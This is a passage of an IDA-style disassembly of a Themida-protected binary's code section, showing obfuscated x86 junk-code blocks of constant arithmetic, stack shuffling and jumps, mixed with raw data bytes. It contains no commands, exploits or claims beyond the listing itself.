		jmp	loc_564164
; ---------------------------------------------------------------------------


loc_56450F:				; CODE XREF: Themida_:0056AD8Dj
		add	edi, 505F24ECh
		xor	edi, 5B0B0917h
		jmp	loc_55D03B
; ---------------------------------------------------------------------------


loc_564520:				; CODE XREF: Themida_:00569F57j
		add	ebx, 0A10DB216h
		push	ebx
		mov	ebx, 15113BA4h
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ebx, edi
		jmp	loc_562881
; ---------------------------------------------------------------------------
aISa		db ']‰ÂéaØ',0
		db 0
; ---------------------------------------------------------------------------


loc_564541:				; CODE XREF: Themida_:00561110j
		mov	ebp, 3EC50182h
		push	edx
		mov	edx, 496468BFh
		sub	ebp, edx
		pop	edx
		jmp	loc_55DFC7
; ---------------------------------------------------------------------------
aSZssq		db 'S·Zé™Q',0
		align 4
		dd 0F83E05BEh, 2D05E91Fh, 0E0C10000h, 496A0505h, 0C529483Dh
		dd 64ED8158h, 81475857h, 0C2475BEDh, 2434FF4Dh,	1C736859h
		dd 54E90000h, 5D00002Dh, 61CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_564591:				; CODE XREF: Themida_:00569F87j
		add	edx, ebx
		sub	edx, 69B84CABh
		push	dword ptr [edx]
		jmp	loc_56E9BE
; ---------------------------------------------------------------------------


loc_5645A0:				; CODE XREF: Themida_:0056448Cj
		mov	[edi+eax*4+1], bh
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_5682DF
; ---------------------------------------------------------------------------
aMstf		db '¬é’f',0
		dw 6600h
		dd 31E932FFh, 81FFFFB6h, 4C3h, 241C8700h, 311FE9h, 59CA2900h
		dd 0A54CE9h, 4C48300h, 0E95BDA01h, 0FFFFC72Dh, 24048B66h
		dd 32868h, 24148900h, 0E955E289h, 0FFFF8BA2h
; ---------------------------------------------------------------------------


loc_5645FC:				; CODE XREF: Themida_:0056D496j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	4106h
		jmp	loc_55D1FB
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 575C2434h, 0BE56E789h, 52FE190Bh,	3E9D6F7h
		dd 0FE0000CFh, 23C1E9C0h, 0C4830000h, 888FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564636:				; CODE XREF: Themida_:0056E1B4j
		push	4AED6689h
		jmp	loc_55E22C
; ---------------------------------------------------------------------------
		dd 0C108EDC1h, 0C58106EDh, 6F0F8E8Bh, 505DEA01h, 3B1320B8h
		dd 8E0C168h, 0E901E883h, 0FFFFCD74h, 4C681h, 0EFE90000h
		dd 5A0000BFh, 411FE9h, 24048F00h, 6624248Bh, 5224048Bh
		dd 0C281E289h, 4, 3CDF68h, 24348900h, 1A238368h, 0D33AE92Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564696:				; CODE XREF: Themida_:0056158Fj
		mov	[esp], edi
		mov	edi, esp
		push	14ACh
		mov	[esp], eax
		mov	eax, 7FB10EEh
		jmp	loc_569281
; ---------------------------------------------------------------------------


loc_5646AD:				; CODE XREF: Themida_:005620C2j
		mov	edi, 503E1F1Bh
		and	edi, 7A5C0890h
		add	edi, 67B90A8Fh
		push	edx
		mov	edx, 13A2093Eh
		and	edi, edx
		pop	edx
		neg	edi
		xor	edi, 77C60C38h
		sub	edi, 46BA8422h
		jmp	loc_55FF06
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0E9243C87h, 0FFFFC485h, 0BB53h, 58E90000h, 6400009Ah
		dd 2B60F66h, 6DEF6866h,	24048966h, 0FF87C4E9h, 0E9C301FFh
		dd 89C4h, 4C381h, 0E9530000h, 7120h, 0FF87ACE9h, 2DBE56FFh
		dd 5145ED58h, 0D8EFE9h,	2474FF00h, 5EE2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56472E:				; CODE XREF: Themida_:00560AEBj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_56D476
; ---------------------------------------------------------------------------


loc_564743:				; CODE XREF: Themida_:00566114j
		add	esp, 4
		jmp	loc_56C9DD
; ---------------------------------------------------------------------------


loc_56474B:				; CODE XREF: Themida_:0055D20Bj
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	5BCFh
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_566BE3
; ---------------------------------------------------------------------------
		dw 9368h
		dd 5400001Dh, 0E924048Fh, 5B89h, 1D62BD55h, 0CD8130EEh
		dd 79134AE7h, 87E9DDF7h, 81FFFFE7h, 4B51ABE5h, 37C58147h
		dd 29C70103h, 242C8BE9h, 4C481h, 0D8E90000h, 83FFFFC4h
		dd 766804C4h, 89000057h, 0B951243Ch, 6E692D5Bh,	1511E9h
		dd 81D7F700h, 0B0A801EFh, 5FFE2985h, 0C55AE9h, 66F33000h
		dd 8324148Bh, 0F38002C4h, 66D3F6F4h, 2414F653h,	0F3805B66h
		dd 0C2B6E9AEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647F2:				; CODE XREF: Themida_:0056038Dj
		pop	ebp
		shr	ecx, 0
		or	eax, eax
		jz	loc_56AFE9
		push	5C39h
		mov	[esp], ebx
		jmp	loc_561347
; ---------------------------------------------------------------------------
		db 1
aBqr7_bYxrch3	db 'Ïïà 7_ÇyXRch/3',0
		align 2
		dw 0C89h
		dd 55E18924h, 5A396850h, 0E9586206h, 3182h, 52F5814Dh
		dd 0E91CF837h, 0C63Ah, 25E9EB29h, 870000ADh, 895C2434h
		dd 0B9E9243Ch, 0B9FFFFD2h, 26B1C98h, 35DFE181h,	0D1F716E3h
		dd 0FFFFC181h, 0C981FFFFh, 684E5E56h, 39B7C181h, 0E981056Dh
		dd 34C3929h, 0FFC624E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564879:				; CODE XREF: Themida_:0055FB4Aj
		xor	esi, 5E730262h
		dec	esi
		xor	esi, 0F2F438EBh
		mov	ebx, 7B00E221h
		sub	ebx, esi
		jmp	loc_561730
; ---------------------------------------------------------------------------
		dw 0E068h
		dd 89000064h, 0B0B9240Ch, 0E94D1207h, 5FA6h
; ---------------------------------------------------------------------------


loc_5648A4:				; CODE XREF: Themida_:0056E582j
		push	eax
		push	edx
		mov	edx, 0F1F7E1Ch
		mov	eax, 1D9A836h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 7
		jmp	loc_56235B
; ---------------------------------------------------------------------------
		dd 2474FF55h, 48F5D04h,	0F0285C24h, 0EBB65266h,	0FFE7E6E9h
		dd 41F987FFh, 74E9D1F7h, 8F00004Eh, 875C2404h, 88E92404h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5648EB:				; CODE XREF: Themida_:00565CFBj
		push	esi
		mov	esi, 3F2275FDh
		inc	esi
		jmp	loc_563591
; ---------------------------------------------------------------------------
		db 51h
		dd 0EB3DE951h, 0FB01FFFFh, 81243C8Bh, 4C4h, 81C30100h
		dd 812205EBh, 4933E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564916:				; CODE XREF: Themida_:0055EFBBj
		pop	esi
		add	esp, 4
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_567217
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2474FF51h, 57A1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56493A:				; CODE XREF: Themida_:0055F9C4j
		pop	esi
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5653C1
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0BD550000h, 65512C1Eh, 0FFBDA5E9h, 806FB4FFh
		dd 0C48029F4h, 80D4F605h, 0E6882BECh, 2DEE8058h, 10C380h
		dd 0C9EFE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564986:				; CODE XREF: Themida_:00562256j
		add	esi, 57326D08h
		sub	esi, 19D915BDh
		sub	edi, 3C2F1F12h
		sub	edi, 3B1047BBh
		add	edi, esi
		push	edx
		jmp	loc_55F082
; ---------------------------------------------------------------------------
aXqsx		db 'XQéX°',0
		dd 40500h, 4050000h, 87000000h,	248B2404h, 2EAF6824h, 3C890000h
		dd 2474FF24h, 48F5F04h,	0CAE95C24h, 38h, 0F4E950E3h, 5600007Ch
		dd 3C70E9h, 24248900h, 4240483h, 0EC835158h, 24248904h
		dd 4240481h, 59000000h,	4C181h,	0E9500000h, 365Eh, 5AE95166h
		dd 530000A2h, 0C381E389h, 4, 4C381h, 6FE90000h,	58000018h
		dd 595AD488h, 4C8DE9h, 5A22BE00h, 0F70116D3h, 0DA2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_564A35:				; CODE XREF: Themida_:0055D25Dj
		pop	esp
		jmp	loc_56A3A9
; ---------------------------------------------------------------------------
		db 0C1h
		dd 524606E6h, 0FFB807E9h, 5DEF01FFh, 5FEF814Fh,	89316C71h
		dd 0E5BD5FFBh, 0C1091A1Ah, 0C58102E5h, 50612092h, 7E59E9h
		dd 5B95100h, 0E9790C6Fh, 0ACF6h, 0E950EB80h, 0FFFFB71Bh
		dd 5B043104h, 0E924148Bh, 0FFFFE241h, 4C481h, 0EC810000h
		dd 4, 68241C89h, 0EC70513h, 0E9241C8Bh,	0FFFFF048h
; ---------------------------------------------------------------------------


loc_564AA0:				; CODE XREF: Themida_:0056AAD9j
		pop	edx
		jmp	loc_56382D
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0BD55h, 0D5290000h, 0E95DEA89h, 0A62Ch, 502FEE80h, 0FFA370E9h
		dd 243CD3FFh, 83FBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564ACA:				; CODE XREF: Themida_:00568DCDj
		push	ebx
		mov	ebx, edi
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5652F5
; ---------------------------------------------------------------------------
		dd 9B2FFAB8h, 0FEF8BD5Ah, 0C501E9EDh, 83D5F758h, 3C8904ECh
		dd 0D109BF24h, 0FD29BB76h, 296CE9h, 0E9D02800h,	6120h
		dd 6CF068h, 0A21EE900h,	8953FFFFh, 4C381E3h, 83000000h
		dd 1C8704EBh, 0C895C24h, 639DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564B26:				; CODE XREF: Themida_:005717B5j
		push	eax
		sub	esp, 4
		jmp	loc_56BCDB
; ---------------------------------------------------------------------------


loc_564B32:				; CODE XREF: Themida_:00568CCBj
		pop	esp
		mul	cl
		movzx	cx, ah
		jmp	loc_562A20
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0D56DE9h, 4C38100h, 83000000h, 0BDE904C3h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B53:				; CODE XREF: Themida_:0056CCE7j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5694CB
; ---------------------------------------------------------------------------
a_hlz		db '_h«z',0
		align 4
		dd 56242C89h, 0BC796CBEh, 7E6C130h, 44CE681h, 0CE8145FFh
		dd 167B7A50h, 624EE9h, 0E8B4B900h, 0CF29EC2Ah, 81240C8Bh
		dd 4C4h, 5FFA2100h, 0ADA4E956h,	77FF0000h, 0E8BEE92Ch
		dd 5153FFFFh, 0E953D0B5h, 0C73h, 4EC81h, 72E90000h, 0BD000019h
		dd 42E41BFDh, 167C581h,	0E5C1009Ch, 2EDC106h, 0EE7DE945h
		dd 8B66FFFFh, 0EC812404h, 4, 83242C89h,	248904ECh, 24048124h
		dd 4, 0EC83525Dh, 240C8904h, 0FFA209E9h, 48F59FFh, 1CE0E924h
		dd 0E9510000h, 0FFFFAE13h, 15FFA01h, 7DEA81C2h,	8148E402h
		dd 325E0AC2h, 0C537E94Bh, 8966FFFFh, 0F66240Ch,	5166C8B6h
		dd 829BE99Ch, 0F380FFFFh, 5BDE88D3h, 0A7EBE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564C36:				; CODE XREF: Themida_:00565615j
		sub	esi, 72ED7D30h
		jmp	loc_560B3B
; ---------------------------------------------------------------------------
		db 68h,	7, 6Eh
		dd 2C890000h, 4BD24h, 0EF010000h, 56242C8Bh, 6113E9h, 24348900h
		dd 4EC81h, 1F680000h, 0E900004Ch, 0FFFFB685h, 58C60058h
		dd 7CB35366h, 9C5EE9h, 40FBB900h, 0B8500962h, 0
		dd offset dword_4EEDE0+609h
		dd 48D2BB00h, 814B21C2h, 540E3DCBh, 36DBE914h, 3C890000h
		dd 2474FF24h, 48F5F04h,	0C83B5C24h, 8217E99Ch, 0F781FFFFh
		dd 9B07919h, 0E781D7F7h, 3B3B2FC6h, 0EBCC781h, 0FB89FD40h
		dd 21C3815Fh, 8161265Ah, 7A14BBCBh, 1E9521Ah
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_564CD7:				; CODE XREF: Themida_:0056058Dj
		add	edx, 4
		sub	edx, 4
		jmp	loc_567783
; ---------------------------------------------------------------------------


loc_564CE5:				; CODE XREF: Themida_:00562D05j
		mov	ecx, [esp]
		jmp	loc_568B93
; ---------------------------------------------------------------------------
		db 0E9h, 0D3h, 81h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564CF2:				; CODE XREF: Themida_:0056A04Aj
		push	edi
		sub	dword ptr [esp], 50473EBEh
		pop	ebx
		push	eax
		mov	eax, 50473EBEh
		add	ebx, eax
		pop	eax
		jmp	loc_5617D0
; ---------------------------------------------------------------------------
		db 5Bh,	53h, 0B3h
		dd 0F6C3FE99h, 3DEB80DBh, 304DC380h, 8CEE9D8h, 1590000h
		dd 0DFB850F2h, 295C6D18h, 0BBE958C2h, 0C1000096h, 0F18105E9h
		dd 1F0FCDh, 0C8BCE01h, 0BA4BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D42:				; CODE XREF: Themida_:0055E2F6j
		not	edx
		sub	edx, 0A2A6FE06h
		jmp	loc_561700
; ---------------------------------------------------------------------------


loc_564D4F:				; CODE XREF: Themida_:00568619j
		add	ebx, ecx
		pop	ecx
		push	2702h
		mov	[esp], ebp
		jmp	loc_56E47B
; ---------------------------------------------------------------------------


loc_564D5F:				; CODE XREF: Themida_:00562DDEj
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_55D254
; ---------------------------------------------------------------------------


loc_564D74:				; CODE XREF: Themida_:0055E6CBj
		mov	edx, [esp]
		jmp	loc_56930F
; ---------------------------------------------------------------------------
		dd 0C281D2F7h, 1, 0BE56DAF7h, 0D54FE47Bh, 15EF201h, 24148BD3h
		dd 0E904C483h, 0FFFF936Ch, 55FF889h, 79CD4196h,	404F6B05h
		dd 0C148486Bh, 0EC8104E0h, 4, 0E9241C89h, 0FFFFC087h, 43D8EA81h
		dd 65E94739h, 89FFFF99h, 0FB895BDFh, 4C4BE95Fh,	0E9C10000h
		dd 54F18106h, 0E95B6F7Ah, 9038h, 4C4835Dh, 4EC81h, 14890000h
		dd 2BA24h, 6DE90000h, 8100004Ah, 5329CBE9h, 0BBE95D3Ah
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564E03:				; CODE XREF: Themida_:0056BD16j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_56A4D0
; ---------------------------------------------------------------------------
		db 35h
		dd 0EED087Ch, 0BFF0E9h,	24348700h, 28CE9h
		db 0
; ---------------------------------------------------------------------------


loc_564E29:				; CODE XREF: Themida_:00566483j
		inc	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 42C26D63h
		not	ebp
		xchg	edi, ebp
		not	edi
		jmp	loc_5605D9
; ---------------------------------------------------------------------------
		dd 0F85434BAh, 0B0E98177h, 0E9132373h, 1B4Dh, 5966E800h
		dd 0B6523104h, 50C6FE06h, 0D0F61FB0h, 0C628B904h, 53C6FE58h
		dd 0B886E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564E72:				; CODE XREF: Themida_:0056A0F0j
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	3D1Eh
		jmp	loc_569FA3
; ---------------------------------------------------------------------------
aR10		db '¿r10',0
		dd 0E902EFC1h, 0FFFFF323h, 405E089h, 51000000h,	0FFA019E9h
		dd 4BF57FFh, 29000000h,	4335FF8h, 24043124h, 0E9240433h
		dd 0FFFFE913h
; ---------------------------------------------------------------------------


loc_564EB8:				; CODE XREF: Themida_:0056B928j
		push	edi
		mov	edi, 204F319Ch
		shl	edi, 7
		xor	edi, 5AD81E9Fh
		neg	edi
		add	edi, 157619D8h
		and	edi, 6B192EB8h
		jmp	loc_56B972
; ---------------------------------------------------------------------------
		dw 1C89h
aSv@		db '$é¢@',0
		align 2


loc_564EE2:				; CODE XREF: Themida_:00568E93j
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	1EC1h
		mov	[esp], esi
		push	esp
		jmp	loc_55F9C1
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0E306F1BDh, 802F181h, 9FE944BEh, 5F00000Ch, 523968h
		dd 242C8900h, 8803E952h, 159FFFFh, 24348BF1h, 4C481h, 8E90000h
		dd 5800004Ch, 8004EDC0h, 0ED8057CDh, 7339E9A6h,	54F60000h
		dd 1C8B0124h, 9A05E924h, 0E9D10000h, 6FC368h, 24048900h
		dd 151E49B8h, 5486353Dh, 0EF2D63A6h, 0E9EACE23h, 0D71Eh
		dd 8002E1C0h, 0FBE9F0F1h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564F7F:				; CODE XREF: Themida_:0056DC41j
		add	edx, eax
		xor	[edx], ecx
		pop	edx
		pop	eax
		push	edx
		mov	edx, 24h
		sub	edx, 1FFE0796h
		sub	edx, 0C781B9Eh
		sub	edx, 19C763D9h
		add	edx, edi
		add	edx, 19C763D9h
		add	edx, 0C781B9Eh
		jmp	loc_5644EF
; ---------------------------------------------------------------------------
		dd 5704C483h, 63E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_564FB9:				; CODE XREF: Themida_:005639A3j
		sub	dl, 6Eh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_563F41
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8B24048Fh, 0C4812424h, 4,	81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 0FFA6DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564FF1:				; CODE XREF: Themida_:00571EB4j
		add	ebx, 7C583E33h
		add	ebx, eax
		sub	ebx, 7C583E33h
		sub	ebx, 71635BD5h
		add	ebx, 0DB51025h
		push	edi
		push	25134CB9h
		pop	edi
		neg	edi
		jmp	loc_572412
; ---------------------------------------------------------------------------


loc_565019:				; CODE XREF: Themida_:00561D40j
		add	ebp, esi
		pop	esi
		jmp	loc_56544A
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 3Fh
		dd 2917C331h, 565E5AD1h, 5395E951h, 0B9510000h,	645E737Fh
		dd 8159CE29h, 5268D8C6h, 0BA50E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565046:				; CODE XREF: Themida_:0055ED96j
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_56E1C4
; ---------------------------------------------------------------------------
		dd 5F5EF331h, 0FFDD19E9h, 2867B5FFh, 9792E9FDh,	0C3800000h
		dd 80C3000Ah, 33680AEBh, 89000069h, 0E9502414h,	0FFFFF8EDh
		dd 240CFF66h, 7E3FE99Ch, 74FFFFFFh, 19E90424h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56508F:				; CODE XREF: Themida_:0056E1DDj
		sub	esi, ebx
		jmp	loc_56CB51
; ---------------------------------------------------------------------------
		dw 34FFh
aZsw@		db '$ZéW@',0
		db 0
; ---------------------------------------------------------------------------


loc_56509F:				; CODE XREF: Themida_:0055D6E6j
		mov	[esp], ecx
		push	ebp
		mov	ebp, 3A5D3629h
		jmp	loc_55FD6C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0AFC4E9h, 0C895C00h,	98BF5724h, 0C110004Ch, 0F74708E7h
		dd 3EFC1DFh, 0FF9DBAE9h, 4C281FFh, 81000000h, 4C2h, 969BE900h
		dd 0C181FFFFh, 5F5C7193h, 241CC981h, 0ACE97D62h, 5C0000C5h
		dd 4BB0F66h, 0CAE99C24h, 51FFFF7Dh, 0DCCE9h, 81E90100h
		dd 0C70C08C1h, 242C8B78h, 8104C483h, 2C1h, 0FAF6800h, 0C890000h
		dd 2474FF24h, 240C8B04h, 4C481h, 0ACE90000h, 81000016h
		dd 5268D8EEh, 7FC68144h, 5F645E73h, 5A2434FFh, 81E28952h
		dd 4C2h, 4C28100h, 52000000h, 42474FFh,	0AE14E9h, 4C48300h
		dd 17BF5755h, 0BD7C1E45h, 7C1E451Bh, 4BABED81h,	0FD29235Eh
		dd 42EB68h, 24348900h, 9692E9h
		db 0
; ---------------------------------------------------------------------------


loc_56517D:				; CODE XREF: Themida_:0055FF97j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	edx, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 6E047D88h
		sub	edx, 50545B56h
		add	edx, 0E24FDDD2h
		add	edi, 459130ABh
		add	edi, edx
		sub	edi, 459130ABh
		pop	edx
		xchg	edi, [esp]
		pop	esp
		and	eax, edx
		jmp	loc_55FE1D
; ---------------------------------------------------------------------------
		dd 815FFB01h, 4ECh, 242C8900h, 2BDh, 0A6C38100h, 8166895Ch
		dd 0B374D0EBh, 0F0C38138h, 81502F00h, 2C5797C3h, 81EB010Dh
		dd 2C5797EBh, 0F0EB810Dh, 0E9502F00h, 0C3D8h
; ---------------------------------------------------------------------------


loc_565200:				; CODE XREF: Themida_:00566697j
		xchg	edx, ebp
		sub	ebp, 3063FB73h
		jmp	loc_56E3C8
; ---------------------------------------------------------------------------


loc_56520D:				; CODE XREF: Themida_:0055FBA2j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_568EEF
; ---------------------------------------------------------------------------


loc_56521C:				; CODE XREF: Themida_:00569E5Cj
		mov	esi, 6CA17E46h
		add	eax, esi
		pop	esi
		sub	eax, esi
		jmp	loc_56E033
; ---------------------------------------------------------------------------


loc_56522B:				; CODE XREF: Themida_:0056E6DFj
		push	5ED61FBAh
		pop	esi
		neg	esi
		sub	esi, 9E70C9FCh
		jmp	loc_55D8B0
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 0E9240C8Bh, 9CF1h, 0A7212BFh, 0E2E94F18h, 5500008Bh
		dd 0A44A6ABDh, 0E9EE215Ch, 0FFFFD63Ch, 240C8B66h, 4EA668h
		dd 241C8900h, 241C8B54h, 3045E9h, 82F58100h, 81702221h
		dd 2F4A74C5h, 3FC5811Eh, 811111E4h, 0DF1D6DC7h,	50EF0157h
		dd 0DF1D6DB8h, 58C72957h, 340E685Dh, 14890000h,	4BA24h
		dd 4BE90000h, 8900005Dh, 0A573E9E3h, 0BB9FFFFh,	896A0A26h
		dd 0F93159CFh, 0DFC1815Fh, 1779B92h, 0D90159CBh, 81241C8Bh
		dd 4C4h, 4C18100h, 87000000h, 248B240Ch, 4EC8124h, 0E9000000h
		dd 51B5h, 345BF800h, 8E8C0D2h, 2C45E9h
		db 0
; ---------------------------------------------------------------------------


loc_5652F5:				; CODE XREF: Themida_:00564AD7j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56BDC1
; ---------------------------------------------------------------------------
		dd 28D9BAh, 0F7FA870Bh,	0E9FA87DFh, 0FFFFD8CAh
; ---------------------------------------------------------------------------


loc_565310:				; CODE XREF: Themida_:005709ECj
		and	edi, 28CE40ECh
		xor	edi, 51F94246h
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 22326774h
		push	ebp
		jmp	loc_568C79
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 52000000h,	0E1E95A54h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56533F:				; CODE XREF: Themida_:0056BACCj
		add	ebx, 4
		jmp	loc_563063
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 74FF2CC6h, 0C108E6C1h, 0C68106EEh, 2710DAEDh, 15EF729h
		dd 0F5C781F7h, 6829E56Ah, 2D31h, 56241489h, 1773EBBEh
		dd 5EF28920h, 34FFD729h, 7B66E924h, 8B5B0000h, 0C481241Ch
		dd 4, 0FFFFC181h, 0BA52FFFFh, 40E266FBh, 0E5EA8142h, 9FEFFE9h
		dd 24148BD1h, 0CEE9h, 1665A00h,	0BB6653F0h, 66575D79h
		dd 661AA4BFh, 1143C781h, 1690E9h
		db 0
; ---------------------------------------------------------------------------


loc_5653C1:				; CODE XREF: Themida_:00564950j
		xor	esi, [esp]
		pop	esp
		push	19BDh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_561FA4
; ---------------------------------------------------------------------------
		db 5Fh,	4Dh, 0C1h
		dd 0D4E903EDh, 50000004h, 0BED1E9h, 2CEF8100h, 1777F49h
		dd 69F5E9EFh, 0EC830000h, 24248904h, 87E95557h,	5BFFFFBBh
		dd 2EA81h, 32E90000h, 2900004Bh, 63B958C3h, 1EE61CCh, 0E9815BD9h
		dd 305613D4h, 6DB7C181h, 0F1816A93h, 0ADDA8F67h, 8159CF01h
		dd 9C0B70C2h, 0E9FA0138h, 0FFFFFFA7h, 984562BAh, 41C0E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56544A:				; CODE XREF: Themida_:0056501Cj
		pop	edx
		push	563Fh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		jmp	loc_560152
; ---------------------------------------------------------------------------
		db 80h,	0C9h, 86h
		dd 8904EC83h, 0BEE92414h, 83000013h, 756804C4h,	8900007Dh
		dd 0CFF240Ch, 0F1815924h, 15047C3Bh, 6BE98141h,	0E95E83B4h
		dd 6484h, 26E9C39Dh, 33FFFF7Ah,	335C240Ch, 62E9240Ch, 280000BAh
		dd 45F2CF8h, 1D01E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5654B6:				; CODE XREF: Themida_:005700D7j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		add	edx, ebx
		push	5A8Ah
		mov	[esp], ebx
		jmp	loc_55E11C
; ---------------------------------------------------------------------------
		dd 0D0F1B151h, 97F180E9h, 0ABFFE9h, 83DDF700h, 0ED8101C5h
		dd 0FFFFFFFFh, 0A81CF581h, 0EE89A30Bh, 81242C8Bh, 4C4h
		dd 0B5EA8100h, 2929F646h, 0B5C281F2h, 0FF29F646h, 34FF2434h
		dd 0C4835E24h, 4C48304h, 0FF79ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565519:				; CODE XREF: Themida_:0055E4C6j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56FC82
; ---------------------------------------------------------------------------
a5mSO		db '5Œ<=,éÙo',0
		align 2
		dw 0C481h
		dd 4, 2474FF51h, 48F5904h, 24248B24h, 63BF5751h, 0E9760D09h
		dd 0ABA5h, 0D5E9E6D1h, 560000C2h, 1162CBEh, 3BE6810Ch
		dd 817C4E03h, 0E3215AE6h, 51554E78h, 0FFF70CE9h, 0EB815AFFh
		dd 7E7652EDh, 7D3EEB81h, 0C3017EADh, 7D3EC381h,	0C3817EADh
		dd 7E7652EDh, 8904EC83h, 0A8BF243Ch, 531E0E75h,	77D1F4BBh
		dd 4F7EE92Bh, 248B0000h, 726AE924h, 57210000h, 24148B1Ch
		dd 4EC81h, 34890000h, 81E68924h, 4C6h, 4C68100h, 0E9000000h
		dd 616Ch, 0C588D0F6h, 0FF9548E9h, 48E955FFh, 52000077h
		dd 4BAh, 0E9D00100h, 9D80h, 0E959C801h,	3A0Fh, 0FFC1885Bh
		dd 9EE92434h, 80FFFFC9h, 5B6689EAh, 2815C280h, 47A1E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565606:				; CODE XREF: Themida_:0056288Aj
		pop	ebx
		push	edi
		mov	edi, 32132436h
		add	esi, 72ED7D30h
		add	esi, edi
		jmp	loc_564C36
; ---------------------------------------------------------------------------


loc_56561A:				; CODE XREF: Themida_:005688C9j
		push	edx
		jmp	loc_563995
; ---------------------------------------------------------------------------
		dd 241C895Ch, 0C381E389h, 4, 2F3ABF57h,	0DFF73C4Dh, 47F5E9h
		dd 14896600h, 0D093E924h, 2C89FFFFh, 6E55BD24h,	0DDF718E1h
		dd 74CCED81h, 0EDC15429h, 0ED814505h, 497A8E3h,	3E9EA01h
		dd 83FFFFCAh, 5AE904C4h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56566B:				; CODE XREF: Themida_:005701AAj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55D991
; ---------------------------------------------------------------------------
		dw 483h
		dd 48F0424h, 0B9515724h, 4A2E4615h, 0FFA1B6E9h,	241489FFh
